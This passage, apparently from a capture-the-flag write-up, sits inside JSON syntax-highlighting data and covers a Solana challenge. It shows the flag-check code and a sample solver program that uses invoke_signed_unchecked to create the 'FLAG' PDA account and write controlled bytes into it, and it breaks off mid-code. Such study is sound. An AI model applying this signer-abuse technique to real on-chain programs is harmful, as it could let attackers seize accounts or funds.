"props":44560,"children":44561},{"style":5058},[44562],{"type":29,"value":1380},{"type":23,"tag":504,"props":44564,"children":44565},{"style":5041},[44566],{"type":29,"value":44567},"solve_ix",{"type":23,"tag":504,"props":44569,"children":44570},{"style":5058},[44571],{"type":29,"value":25101},{"type":23,"tag":504,"props":44573,"children":44574},{"style":5047},[44575],{"type":29,"value":5151},{"type":23,"tag":504,"props":44577,"children":44578},{"style":5058},[44579],{"type":29,"value":1380},{"type":23,"tag":504,"props":44581,"children":44582},{"style":5047},[44583],{"type":29,"value":5151},{"type":23,"tag":504,"props":44585,"children":44586},{"style":5041},[44587],{"type":29,"value":44588},"user_keypair",{"type":23,"tag":504,"props":44590,"children":44591},{"style":5058},[44592],{"type":29,"value":25101},{"type":23,"tag":504,"props":44594,"children":44595},{"style":5047},[44596],{"type":29,"value":5151},{"type":23,"tag":504,"props":44598,"children":44599},{"style":5041},[44600],{"type":29,"value":22285},{"type":23,"tag":504,"props":44602,"children":44603},{"style":5058},[44604],{"type":29,"value":933},{"type":23,"tag":504,"props":44606,"children":44607},{"style":5047},[44608],{"type":29,"value":357},{"type":23,"tag":504,"props":44610,"children":44611},{"style":5067},[44612],{"type":29,"value":34972},{"type":23,"tag":504,"props":44614,"children":44615},{"style":5047},[44616],{"type":29,"value":5195},{"type":23,"tag":504,"props":44618,"children":44619},{"style":5058},[44620],{"type":29,"value":5061},{"type":23,"tag":139,"props":44622,"children":44623},{"start":5099},[44624],{"type":23,"tag":143,"props":44625,"children":44626},{},[44627],{"type":29,"value":44628},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":4743,"props":44630,"children":44632},{"className":5009,"code":44631,"language":5008,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[44633],{"type":23,"tag":154,"props":44634,"children":44635},{"__ignoreMap":7},[44636,44720,44811,44852,44936,44943,44980,45037,45082,45097,45133,45140,45147],{"type":23,"tag":504,"props":44637,"children":44638},{"class":5016,"line":5017},[44639,44643,44648,44652,44656,44660,44665,44669,44673,44677,44682,44686,44691,44696,44700,44704,44708,44712,44716],{"type":23,"tag":504,"props":44640,"children":44641},{"style":5030},[44642],{"type":29,"value":13833},{"type":23,"tag":504,"props":44644,"children":44645},{"style":5041},[44646],{"type":29,"value":44647}," flag",{"type":23,"tag":504,"props":44649,"children":44650},{"style":5047},[44651],{"type":29,"value":5050},{"type":23,"tag":504,"props":44653,"children":44654},{"style":5467},[44655],{"type":29,"value":22909},{"type":23,"tag":504,"props":44657,"children":44658},{"style":5047},[44659],{"type":29,"value":5530},{"type":23,"tag":504,"props":44661,"children":44662},{"style":5139},[44663],{"type":29,"value":44664},"create_program_address",{"type":23,"tag":504,"props":44666,"children":44667},{"style":5058},[44668],{"type":29,"value":603},{"type":23,"tag":504,"props":44670,"children":44671},{"style":5047},[44672],{"type":29,"value":5151},{"type":23,"tag":504,"props":44674,"children":44675},{"style":5058},[44676],{"type":29,"value":1380},{"type":23,"tag":504,"props":44678,"children":44679},{"style":6297},[44680],{"type":29,"value":44681},"\"FLAG\"",{"type":23,"tag":504,"props":44683,"children":44684},{"style":5047},[44685],{"type":29,"value":357},{"type":23,"tag":504,"props":44687,"children":44688},{"style":5139},[44689],{"type":29,"value":44690},"as_ref",{"type":23,"tag":504,"props":44692,"children":44693},{"style":5058},[44694],{"type":29,"value":44695},"()], ",{"type":23,"tag":504,"props":44697,"children":44698},{"style":5047},[44699],{"type":29,"value":5151},{"type":23,"tag":504,"props":44701,"children":44702},{"style":5058},[44703],{"type":29,"value":44270},{"type":23,"tag":504,"props":44705,"children":44706},{"style":5047},[44707],{"type":29,"value":5530},{"type":23,"tag":504,"props":44709,"children":44710},{"style":5058},[44711],{"type":29,"value":44526},{"type":23,"tag":504,"props":44713,"children":44714},{"style":5047},[44715],{"type":29,"value":5195},{"type":23,"tag":504,"props":44717,"children":44718},{"style":5058},[44719],{"type":29,"value":5061},{"type":23,"tag":504,"props":44721,"children":44722},{"class":5016,"line":4868},[44723,44727,44731,44735,44739,44744,44748,44752,44756,44760,44764,44768,44773,44777,44782,44786,44791,44795,44799,44803,44807],{"type":23,"tag":504,"props":44724,"children":44725},{"style":5067},[44726],{"type":29,"value":17626},{"type":23,"tag":504,"props":44728,"children":44729},{"style":5030},[44730],{"type":29,"value":29358},{"type":23,"tag":504,"props":44732,"children":44733},{"style":5467},[44734],{"type":29,"value":29363},{"type":23,"tag":504,"props":44736,"children":44737},{"style":5058},[44738],{"type":29,"value":603},{"type":23,"tag":504,"props":44740,"children":44741},{"style":5041},[44742],{"type":29,"value":44743},"acct",{"type":23,"tag":504,"props":44745,"children":44746},{"style":5058},[44747],{"type":29,"value":5128},{"type":23,"tag":504,"props":44749,"children":44750},{"style":5047},[44751],{"type":29,"value":546},{"type":23,"tag":504,"props":44753,"children":44754},{"style":5041},[44755],{"type":29,"value":44101},{"type":23,"tag":504,"props":44757,"children":44758},{"style":5047},[44759],{"type":29,"value":357},{"type":23,"tag":504,"props":44761,"children":44762},{"style":5058},[44763],{"type":29,"value":22333},{"type":23,"tag":504,"props":44765,"children":44766},{"style":5047},[44767],{"type":29,"value":357},{"type":23,"tag":504,"props":44769,"children":44770},{"style":5058},[44771],{"type":29,"value":44772},"banks_client",{"type":23,"tag":504,"props":44774,"children":44775},{"style":5047},[44776],{"type":29,"value":357},{"type":23,"tag":504,"props":44778,"children":44779},{"style":5139},[44780],{"type":29,"value":44781},"get_account",{"type":23,"tag":504,"props":44783,"children":44784},{"style":5058},[44785],{"type":29,"value":603},{"type":23,"tag":504,"props":44787,"children":44788},{"style":5041},[44789],{"type":29,"value":44790},"flag",{"type":23,"tag":504,"props":44792,"children":44793},{"style":5058},[44794],{"type":29,"value":933},{"type":23,"tag":504,"props":44796,"children":44797},{"style":5047},[44798],{"type":29,"value":357},{"type":23,"tag":504,"props":44800,"children":44801},{"style":5067},[44802],{"type":29,"value":34972},{"type":23,"tag":504,"props":44804,"children":44805},{"style":5047},[44806],{"type":29,"value":5195},{"type":23,"tag":504,"props":44808,"children":44809},{"style":5058},[44810],{"type":29,"value":5333},{"type":23,"tag":504,"props":44812,"children":44813},{"class":5016,"line":4876},[44814,44818,44823,44827,44831,44835,44839,44843,44847],{"type":23,"tag":504,"props":44815,"children":44816},{"style":5067},[44817],{"type":29,"value":14325},{"type":23,"tag":504,"props":44819,"children":44820},{"style":5041},[44821],{"type":29,"value":44822}," acct",{"type":23,"tag":504,"props":44824,"children":44825},{"style":5047},[44826],{"type":29,"value":357},{"type":23,"tag":504,"props":44828,"children":44829},{"style":5058},[44830],{"type":29,"value":5761},{"type":23,"tag":504,"props":44832,"children":44833},{"style":5047},[44834],{"type":29,"value":357},{"type":23,"tag":504,"props":44836,"children":44837},{"style":5139},[44838],{"type":29,"value":11186},{"type":23,"tag":504,"props":44840,"children":44841},{"style":5058},[44842],{"type":29,"value":16089},{"type":23,"tag":504,"props":44844,"children":44845},{"style":5047},[44846],{"type":29,"value":1224},{"type":23,"tag":504,"props":44848,"children":44849},{"style":5083},[44850],{"type":29,"value":44851}," 0x1337\n",{"type":23,"tag":504,"props":44853,"children":44854},{"class":5016,"line":5099},[44855,44860,44864,44868,44873,44877,44881,44885,44890,44894,44898,44902,44906,44910,44914,44918,44922,44927,44931],{"type":23,"tag":504,"props":44856,"children":44857},{"style":5047},[44858],{"type":29,"value":44859},"        &&",{"type":23,"tag":504,"props":44861,"children":44862},{"style":5467},[44863],{"type":29,"value":7905},{"type":23,"tag":504,"props":44865,"children":44866},{"style":5047},[44867],{"type":29,"value":5530},{"type":23,"tag":504,"props":44869,"children":44870},{"style":5139},[44871],{"type":29,"value":44872},"from_le_bytes",{"type":23,"tag":504,"props":44874,"children":44875},{"style":5058},[44876],{"type":29,"value":603},{"type":23,"tag":504,"props":44878,"children":44879},{"style":5041},[44880],{"type":29,"value":44743},{"type":23,"tag":504,"props":44882,"children":44883},{"style":5047},[44884],{"type":29,"value":357},{"type":23,"tag":504,"props":44886,"children":44887},{"style":5058},[44888],{"type":29,"value":44889},"data[",{"type":23,"tag":504,"props":44891,"children":44892},{"style":5047},[44893],{"type":29,"value":5091},{"type":23,"tag":504,"props":44895,"children":44896},{"style":5083},[44897],{"type":29,"value":6124},{"type":23,"tag":504,"props":44899,"children":44900},{"style":5058},[44901],{"type":29,"value":1422},{"type":23,"tag":504,"props":44903,"children":44904},{"style":5047},[44905],{"type":29,"value":357},{"type":23,"tag":504,"props":44907,"children":44908},{"style":5139},[44909],{"type":29,"value":28215},{"type":23,"tag":504,"props":44911,"children":44912},{"style":5058},[44913],{"type":29,"value":15925},{"type":23,"tag":504,"props":44915,"children":44916},{"style":5047},[44917],{"type":29,"value":357},{"type":23,"tag":504,"props":44919,"children":44920},{"style":5139},[44921],{"type":29,"value":5720},{"type":23,"tag":504,"props":44923,"children":44924},{"style":5058},[44925],{"type":29,"value":44926},"()) ",{"type":23,"tag":504,"props":44928,"children":44929},{"style":5047},[44930],{"type":29,"value":1224},{"type":23,"tag":504,"props":44932,"children":44933},{"style":5083},[44934],{"type":29,"value":44935}," 0x4337\n",{"type":23,"tag":504,"props":44937,"children":44938},{"class":5016,"line":5203},[44939],{"type":23,"tag":504,"props":44940,"children":44941},{"style":5058},[44942],{"type":29,"value":31241},{"type":23,"tag":504,"props":44944,"children":44945},{"class":5016,"line":5308},[44946,44951,44955,44959,44963,44968,44972,44976],{"type":23,"tag":504,"props":44947,"children":44948},{"style":5139},[44949],{"type":29,"value":44950},"        writeln!",{"type":23,"tag":504,"props":44952,"children":44953},{"style":5058},[44954],{"type":29,"value":603},{"type":23,"tag":504,"props":44956,"children":44957},{"style":5041},[44958],{"type":29,"value":43996},{"type":23,"tag":504,"props":44960,"children":44961},{"style":5058},[44962],{"type":29,"value":4367},{"type":23,"tag":504,"props":44964,"children":44965},{"style":6297},[44966],{"type":29,"value":44967},"\"congrats!\"",{"type":23,"tag":504,"props":44969,"children":44970},{"style":5058},[44971],{"type":29,"value":933},{"type":23,"tag":504,"props":44973,"children":44974},{"style":5047},[44975],{"type":29,"value":5195},{"type":23,"tag":504,"props":44977,"children":44978},{"style":5058},[44979],{"type":29,"value":5061},{"type":23,"tag":504,"props":44981,"children":44982},{"class":5016,"line":5336},[44983,44987,44991,44996,45000,45004,45008,45012,45017,45021,45025,45029,45033],{"type":23,"tag":504,"props":44984,"children":44985},{"style":5067},[44986],{"type":29,"value":5314},{"type":23,"tag":504,"props":44988,"children":44989},{"style":5030},[44990],{"type":29,"value":29358},{"type":23,"tag":504,"props":44992,"children":44993},{"style":5467},[44994],{"type":29,"value":44995}," Ok",{"type":23,"tag":504,"props":44997,"children":44998},{"style":5058},[44999],{"type":29,"value":603},{"type":23,"tag":504,"props":45001,"children":45002},{"style":5041},[45003],{"type":29,"value":44790},{"type":23,"tag":504,"props":45005,"children":45006},{"style":5058},[45007],{"type":29,"value":5128},{"type":23,"tag":504,"props":45009,"children":45010},{"style":5047},[45011],{"type":29,"value":546},{"type":23,"tag":504,"props":45013,"children":45014},{"style":5058},[45015],{"type":29,"value":45016}," env",{"type":23,"tag":504,"props":45018,"children":45019},{"style":5047},[45020],{"type":29,"value":5530},{"type":23,"tag":504,"props":45022,"children":45023},{"style":5139},[45024],{"type":29,"value":37103},{"type":23,"tag":504,"props":45026,"children":45027},{"style":5058},[45028],{"type":29,"value":603},{"type":23,"tag":504,"props":45030,"children":45031},{"style":6297},[45032],{"type":29,"value":44681},{"type":23,"tag":504,"props":45034,"children":45035},{"style":5058},[45036],{"type":29,"value":16850},{"type":23,"tag":504,"props":45038,"children":45039},{"class":5016,"line":5349},[45040,45045,45049,45053,45057,45062,45066,45070,45074,45078],{"type":23,"tag":504,"props":45041,"children":45042},{"style":5139},[45043],{"type":29,"value":45044},"            writeln!",{"type":23,"tag":504,"props":45046,"children":45047},{"style":5058},[45048],{"type":29,"value":603},{"type":23,"tag":504,"props":45050,"children":45051},{"style":5041},[45052],{"type":29,"value":43996},{"type":23,"tag":504,"props":45054,"children":45055},{"style":5058},[45056],{"type":29,"value":4367},{"type":23,"tag":504,"props":45058,"children":45059},{"style":6297},[45060],{"type":29,"value":45061},"\"flag: {:?}\"",{"type":23,"tag":504,"props":45063,"children":45064},{"style":5058},[45065],{"type":29,"value":4367},{"type":23,"tag":504,"props":45067,"children":45068},{"style":5041},[45069],{"type":29,"value":44790},{"type":23,"tag":504,"props":45071,"children":45072},{"style":5058},[45073],{"type":29,"value":933},{"type":23,"tag":504,"props":45075,"children":45076},{"style":5047},[45077],{"type":29,"value":5195},{"type":23,"tag":504,"props":45079,"children":45080},{"style":5058},[45081],{"type":29,"value":5061},{"type":23,"tag":504,"props":45083,"children":45084},{"class":5016,"line":5367},[45085,45089,45093],{"type":23,"tag":504,"props":45086,"children":45087},{"style":5058},[45088],{"type":29,"value":5355},{"type":23,"tag":504,"props":45090,"children":45091},{"style":5067},[45092],{"type":29,"value":5360},{"type":23,"tag":504,"props":45094,"children":45095},{"style":5058},[45096],{"type":29,"value":5333},{"type":23,"tag":504,"props":45098,"children":45099},{"class":5016,"line":5388},[45100,45104,45108,45112,45116,45121,45125,45129],{"type":23,"tag":504,"props":45101,"children":45102},{"style":5139},[45103],{"type":29,"value":45044},{"type":23,"tag":504,"props":45105,"children":45106},{"style":5058},[45107],{"type":29,"value":603},{"type":23,"tag":504,"props":45109,"children":45110},{"style":5041},[45111],{"type":29,"value":43996},{"type":23,"tag":504,"props":45113,"children":45114},{"style":5058},[45115],{"type":29,"value":4367},{"type":23,"tag":504,"props":45117,"children":45118},{"style":6297},[45119],{"type":29,"value":45120},"\"flag not found, please contact admin\"",{"type":23,"tag":504,"props":45122,"children":45123},{"style":5058},[45124],{"type":29,"value":933},{"type":23,"tag":504,"props":45126,"children":45127},{"style":5047},[45128],{"type":29,"value":5195},{"type":23,"tag":504,"props":45130,"children":45131},{"style":5058},[45132],{"type":29,"value":5061},{"type":23,"tag":504,"props":45134,"children":45135},{"class":5016,"line":5397},[45136],{"type":23,"tag":504,"props":45137,"children":45138},{"style":5058},[45139],{"type":29,"value":5394},{"type":23,"tag":504,"props":45141,"children":45142},{"class":5016,"line":5649},[45143],{"type":23,"tag":504,"props":45144,"children":45145},{"style":5058},[45146],{"type":29,"value":5403},{"type":23,"tag":504,"props":45148,"children":45149},{"class":5016,"line":5666},[45150],{"type":23,"tag":504,"props":45151,"children":45152},{"style":5058},[45153],{"type":29,"value":5965},{"type":23,"tag":24,"props":45155,"children":45157},{"id":45156},"solution-idea",[45158],{"type":29,"value":45159},"Solution Idea",{"type":23,"tag":32,"props":45161,"children":45162},{},[45163,45165,45170],{"type":29,"value":45164},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":154,"props":45166,"children":45168},{"className":45167},[],[45169],{"type":29,"value":37738},{"type":29,"value":45171}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":32,"props":45173,"children":45174},{},[45175,45177,45183],{"type":29,"value":45176},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":154,"props":45178,"children":45180},{"className":45179},[],[45181],{"type":29,"value":45182},"PDA(\"FLAG\")",{"type":29,"value":45184}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":32,"props":45186,"children":45187},{},[45188,45190,45197],{"type":29,"value":45189},"Essentially, we need to ",{"type":23,"tag":68,"props":45191,"children":45194},{"href":45192,"rel":45193},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[72],[45195],{"type":29,"value":45196},"invoke the System Program",{"type":29,"value":45198},", and write controlled data into the newly created account.",{"type":23,"tag":32,"props":45200,"children":45201},{},[45202],{"type":29,"value":45203},"A sample program that does this is as follows:",{"type":23,"tag":4743,"props":45205,"children":45207},{"className":5009,"code":45206,"language":5008,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[45208],{"type":23,"tag":154,"props":45209,"children":45210},{"__ignoreMap":7},[45211,45231,45255,45283,45311,45331,45367,45403,45410,45418,45451,45468,45493,45514,45566,45591,45598,45611,45657,45701,45709,45717,45728,45744,45755,45775,45795,45802,45838,45853,45860,45868,45947,45954,45965],{"type":23,"tag":504,"props":45212,"children":45213},{"class":5016,"line":5017},[45214,45218,45222,45227],{"type":23,"tag":504,"props":45215,"children":45216},{"style":5030},[45217],{"type":29,"value":15736},{"type":23,"tag":504,"props":45219,"children":45220},{"style":5030},[45221],{"type":29,"value":15741},{"type":23,"tag":504,"props":45223,"children":45224},{"style":5139},[45225],{"type":29,"value":45226}," process_instruction",{"type":23,"tag":504,"props":45228,"children":45229},{"style":5058},[45230],{"type":29,"value":5512},{"type":23,"tag":504,"props":45232,"children":45233},{"class":5016,"line":4868},[45234,45239,45243,45247,45251],{"type":23,"tag":504,"props":45235,"children":45236},{"style":5041},[45237],{"type":29,"value":45238},"    program_id",{"type":23,"tag":504,"props":45240,"children":45241},{"style":5047},[45242],{"type":29,"value":6533},{"type":23,"tag":504,"props":45244,"children":45245},{"style":5047},[45246],{"type":29,"value":9185},{"type":23,"tag":504,"props":45248,"children":45249},{"style":5467},[45250],{"type":29,"value":23450},{"type":23,"tag":504,"props":45252,"children":45253},{"style":5058},[45254],{"type":29,"value":5557},{"type":23,"tag":504,"props":45256,"children":45257},{"class":5016,"line":4876},[45258,45263,45267,45271,45275,45279],{"type":23,"tag":504,"props":45259,"children":45260},{"style":5041},[45261],{"type":29,"value":45262},"    accounts",{"type":23,"tag":504,"props":45264,"children":45265},{"style":5047},[45266],{"type":29,"value":6533},{"type":23,"tag":504,"props":45268,"children":45269},{"style":5047},[45270],{"type":29,"value":9185},{"type":23,"tag":504,"props":45272,"children":45273},{"style":5058},[45274],{"type":29,"value":1380},{"type":23,"tag":504,"props":45276,"children":45277},{"style":5467},[45278],{"type":29,"value":16985},{"type":23,"tag":504,"props":45280,"children":45281},{"style":5058},[45282],{"type":29,"value":16309},{"type":23,"tag":504,"props":45284,"children":45285},{"class":5016,"line":5099},[45286,45291,45295,45299,45303,45307],{"type":23,"tag":504,"props":45287,"children":45288},{"style":5041},[45289],{"type":29,"value":45290},"    data",{"type":23,"tag":504,"props":45292,"children":45293},{"style":5047},[45294],{"type":29,"value":6533},{"type":23,"tag":504,"props":45296,"children":45297},{"style":5047},[45298],{"type":29,"value":9185},{"type":23,"tag":504,"props":45300,"children":45301},{"style":5058},[45302],{"type":29,"value":1380},{"type":23,"tag":504,"props":45304,"children":45305},{"style":5467},[45306],{"type":29,"value":5470},{"type":23,"tag":504,"props":45308,"children":45309},{"style":5058},[45310],{"type":29,"value":13818},{"type":23,"tag":504,"props":45312,"children":45313},{"class":5016,"line":5203},[45314,45318,45322,45327],{"type":23,"tag":504,"props":45315,"children":45316},{"style":5058},[45317],{"type":29,"value":5128},{"type":23,"tag":504,"props":45319,"children":45320},{"style":5047},[45321],{"type":29,"value":15803},{"type":23,"tag":504,"props":45323,"children":45324},{"style":5467},[45325],{"type":29,"value":45326}," ProgramResult",{"type":23,"tag":504,"props":45328,"children":45329},{"style":5058},[45330],{"type":29,"value":5333},{"type":23,"tag":504,"props":45332,"children":45333},{"class":5016,"line":5308},[45334,45338,45343,45347,45351,45355,45359,45363],{"type":23,"tag":504,"props":45335,"children":45336},{"style":5030},[45337],{"type":29,"value":5033},{"type":23,"tag":504,"props":45339,"children":45340},{"style":5041},[45341],{"type":29,"value":45342}," flag_pda_ai",{"type":23,"tag":504,"props":45344,"children":45345},{"style":5047},[45346],{"type":29,"value":5050},{"type":23,"tag":504,"props":45348,"children":45349},{"style":5047},[45350],{"type":29,"value":9185},{"type":23,"tag":504,"props":45352,"children":45353},{"style":5041},[45354],{"type":29,"value":16721},{"type":23,"tag":504,"props":45356,"children":45357},{"style":5058},[45358],{"type":29,"value":1380},{"type":23,"tag":504,"props":45360,"children":45361},{"style":5083},[45362],{"type":29,"value":708},{"type":23,"tag":504,"props":45364,"children":45365},{"style":5058},[45366],{"type":29,"value":33629},{"type":23,"tag":504,"props":45368,"children":45369},{"class":5016,"line":5336},[45370,45374,45379,45383,45387,45391,45395,45399],{"type":23,"tag":504,"props":45371,"children":45372},{"style":5030},[45373],{"type":29,"value":5033},{"type":23,"tag":504,"props":45375,"children":45376},{"style":5041},[45377],{"type":29,"value":45378}," user_ai",{"type":23,"tag":504,"props":45380,"children":45381},{"style":5047},[45382],{"type":29,"value":5050},{"type":23,"tag":504,"props":45384,"children":45385},{"style":5047},[45386],{"type":29,"value":9185},{"type":23,"tag":504,"props":45388,"children":45389},{"style":5041},[45390],{"type":29,"value":16721},{"type":23,"tag":504,"props":45392,"children":45393},{"style":5058},[45394],{"type":29,"value":1380},{"type":23,"tag":504,"props":45396,"children":45397},{"style":5083},[45398],{"type":29,"value":826},{"type":23,"tag":504,"props":45400,"children":45401},{"style":5058},[45402],{"type":29,"value":33629},{"type":23,"tag":504,"props":45404,"children":45405},{"class":5016,"line":5349},[45406],{"type":23,"tag":504,"props":45407,"children":45408},{"emptyLinePlaceholder":15},[45409],{"type":29,"value":5734},{"type":23,"tag":504,"props":45411,"children":45412},{"class":5016,"line":5367},[45413],{"type":23,"tag":504,"props":45414,"children":45415},{"style":5021},[45416],{"type":29,"value":45417},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":504,"props":45419,"children":45420},{"class":5016,"line":5388},[45421,45425,45430,45434,45438,45442,45447],{"type":23,"tag":504,"props":45422,"children":45423},{"style":5030},[45424],{"type":29,"value":5033},{"type":23,"tag":504,"props":45426,"children":45427},{"style":5041},[45428],{"type":29,"value":45429}," instruction",{"type":23,"tag":504,"props":45431,"children":45432},{"style":5047},[45433],{"type":29,"value":5050},{"type":23,"tag":504,"props":45435,"children":45436},{"style":5467},[45437],{"type":29,"value":43069},{"type":23,"tag":504,"props":45439,"children":45440},{"style":5047},[45441],{"type":29,"value":5530},{"type":23,"tag":504,"props":45443,"children":45444},{"style":5139},[45445],{"type":29,"value":45446},"new_with_bincode",{"type":23,"tag":504,"props":45448,"children":45449},{"style":5058},[45450],{"type":29,"value":5512},{"type":23,"tag":504,"props":45452,"children":45453},{"class":5016,"line":5397},[45454,45459,45463],{"type":23,"tag":504,"props":45455,"children":45456},{"style":5058},[45457],{"type":29,"value":45458},"        system_program",{"type":23,"tag":504,"props":45460,"children":45461},{"style":5047},[45462],{"type":29,"value":5530},{"type":23,"tag":504,"props":45464,"children":45465},{"style":5058},[45466],{"type":29,"value":45467},"ID,\n",{"type":23,"tag":504,"props":45469,"children":45470},{"class":5016,"line":5649},[45471,45475,45480,45484,45489],{"type":23,"tag":504,"props":45472,"children":45473},{"style":5047},[45474],{"type":29,"value":5520},{"type":23,"tag":504,"props":45476,"children":45477},{"style":5058},[45478],{"type":29,"value":45479},"SystemInstruction",{"type":23,"tag":504,"props":45481,"children":45482},{"style":5047},[45483],{"type":29,"value":5530},{"type":23,"tag":504,"props":45485,"children":45486},{"style":5467},[45487],{"type":29,"value":45488},"CreateAccount",{"type":23,"tag":504,"props":45490,"children":45491},{"style":5058},[45492],{"type":29,"value":5333},{"type":23,"tag":504,"props":45494,"children":45495},{"class":5016,"line":5666},[45496,45501,45505,45510],{"type":23,"tag":504,"props":45497,"children":45498},{"style":5041},[45499],{"type":29,"value":45500},"            space",{"type":23,"tag":504,"props":45502,"children":45503},{"style":5047},[45504],{"type":29,"value":6533},{"type":23,"tag":504,"props":45506,"children":45507},{"style":5083},[45508],{"type":29,"value":45509}," 0x1337",{"type":23,"tag":504,"props":45511,"children":45512},{"style":5058},[45513],{"type":29,"value":5557},{"type":23,"tag":504,"props":45515,"children":45516},{"class":5016,"line":5683},[45517,45522,45526,45531,45535,45540,45544,45548,45553,45557,45562],{"type":23,"tag":504,"props":45518,"children":45519},{"style":5041},[45520],{"type":29,"value":45521},"            lamports",{"type":23,"tag":504,"props":45523,"children":45524},{"style":5047},[45525],{"type":29,"value":6533},{"type":23,"tag":504,"props":45527,"children":45528},{"style":5058},[45529],{"type":29,"value":45530}," Rent",{"type":23,"tag":504,"props":45532,"children":45533},{"style":5047},[45534],{"type":29,"value":5530},{"type":23,"tag":504,"props":45536,"children":45537},{"style":5139},[45538],{"type":29,"value":45539},"default",{"type":23,"tag":504,"props":45541,"children":45542},{"style":5058},[45543],{"type":29,"value":15925},{"type":23,"tag":504,"props":45545,"children":45546},{"style":5047},[45547],{"type":29,"value":357},{"type":23,"tag":504,"props":45549,"children":45550},{"style":5139},[45551],{"type":29,"value":45552},"minimum_balance",{"type":23,"tag":504,"props":45554,"children":45555},{"style":5058},[45556],{"type":29,"value":603},{"type":23,"tag":504,"props":45558,"children":45559},{"style":5083},[45560],{"type":29,"value":45561},"0x1337",{"type":23,"tag":504,"props":45563,"children":45564},{"style":5058},[45565],{"type":29,"value":8780},{"type":23,"tag":504,"props":45567,"children":45568},{"class":5016,"line":5696},[45569,45574,45578,45582,45586],{"type":23,"tag":504,"props":45570,"children":45571},{"style":5041},[45572],{"type":29,"value":45573},"            owner",{"type":23,"tag":504,"props":45575,"children":45576},{"style":5047},[45577],{"type":29,"value":6533},{"type":23,"tag":504,"props":45579,"children":45580},{"style":5058},[45581],{"type":29,"value":44101},{"type":23,"tag":504,"props":45583,"children":45584},{"style":5047},[45585],{"type":29,"value":5530},{"type":23,"tag":504,"props":45587,"children":45588},{"style":5058},[45589],{"type":29,"value":45590},"ID\n",{"type":23,"tag":504,"props":45592,"children":45593},{"class":5016,"line":5705},[45594],{"type":23,"tag":504,"props":45595,"children":45596},{"style":5058},[45597],{"type":29,"value":27426},{"type":23,"tag":504,"props":45599,"children":45600},{"class":5016,"line":5728},[45601,45606],{"type":23,"tag":504,"props":45602,"children":45603},{"style":5139},[45604],{"type":29,"value":45605},"        vec!",{"type":23,"tag":504,"props":45607,"children":45608},{"style":5058},[45609],{"type":29,"value":45610},"[\n",{"type":23,"tag":504,"props":45612,"children":45613},{"class":5016,"line":5737},[45614,45619,45623,45627,45631,45635,45640,45644,45649,45653],{"type":23,"tag":504,"props":45615,"children":45616},{"style":5058},[45617],{"type":29,"value":45618},"            AccountMeta",{"type":23,"tag":504,"props":45620,"children":45621},{"style":5047},[45622],{"type":29,"value":5530},{"type":23,"tag":504,"props":45624,"children":45625},{"style":5139},[45626],{"type":29,"value":17169},{"type":23,"tag":504,"props":45628,"children":45629},{"style":5058},[45630],{"type":29,"value":603},{"type":23,"tag":504,"props":45632,"children":45633},{"style":5047},[45634],{"type":29,"value":6613},{"type":23,"tag":504,"props":45636,"children":45637},{"style":5041},[45638],{"type":29,"value":45639},"user_ai",{"type":23,"tag":504,"props":45641,"children":45642},{"style":5047},[45643],{"type":29,"value":357},{"type":23,"tag":504,"props":45645,"children":45646},{"style":5058},[45647],{"type":29,"value":45648},"key, ",{"type":23,"tag":504,"props":45650,"children":45651},{"style":5030},[45652],{"type":29,"value":513},{"type":23,"tag":504,"props":45654,"children":45655},{"style":5058},[45656],{"type":29,"value":8780},{"type":23,"tag":504,"props":45658,"children":45659},{"class":5016,"line":5746},[45660,45664,45668,45672,45676,45680,45685,45689,45693,45697],{"type":23,"tag":504,"props":45661,"children":45662},{"style":5058},[45663],{"type":29,"value":45618},{"type":23,"tag":504,"props":45665,"children":45666},{"style":5047},[45667],{"type":29,"value":5530},{"type":23,"tag":504,"props":45669,"children":45670},{"style":5139},[45671],{"type":29,"value":17169},{"type":23,"tag":504,"props":45673,"children":45674},{"style":5058},[45675],{"type":29,"value":603},{"type":23,"tag":504,"props":45677,"children":45678},{"style":5047},[45679],{"type":29,"value":6613},{"type":23,"tag":504,"props":45681,"children":45682},{"style":5041},[45683],{"type":29,"value":45684},"flag_pda_ai",{"type":23,"tag":504,"props":45686,"children":45687},{"style":5047},[45688],{"type":29,"value":357},{"type":23,"tag":504,"props":45690,"children":45691},{"style":5058},[45692],{"type":29,"value":45648},{"type":23,"tag":504,"props":45694,"children":45695},{"style":5030},[45696],{"type":29,"value":513},{"type":23,"tag":504,"props":45698,"children":45699},{"style":5058},[45700],{"type":29,"value":8780},{"type":23,"tag":504,"props":45702,"children":45703},{"class":5016,"line":5813},[45704],{"type":23,"tag":504,"props":45705,"children":45706},{"